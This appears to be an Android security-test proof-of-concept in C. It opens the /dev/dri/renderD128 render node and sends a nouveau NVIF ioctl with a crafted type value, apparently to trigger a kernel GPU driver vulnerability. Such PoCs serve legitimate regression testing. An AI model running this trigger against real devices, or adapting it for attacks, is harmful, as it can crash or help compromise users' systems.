| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #define _GNU_SOURCE |
| #include <errno.h> |
| #include <fcntl.h> |
| #include <pthread.h> |
| #include <sched.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <sys/ioctl.h> |
| #include <sys/stat.h> |
| #include <sys/syscall.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| #include "local_poc.h" |
| |
| #define DEV "/dev/dri/renderD128" |
| |
| int dev_fd; |
| |
| enum nouveau_drm_object_route { |
| NVDRM_OBJECT_NVIF = 0, |
| NVDRM_OBJECT_USIF, |
| NVDRM_OBJECT_ABI16, |
| }; |
| |
| struct nvif_ioctl_v0 s_nvif; |
| |
| int main() { |
| int ret; |
| |
| dev_fd = open(DEV, O_RDONLY); |
| |
| if (dev_fd == -1) { |
| return 0; |
| } |
| |
| s_nvif.type = 0x3; |
| |
| ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif); |
| } |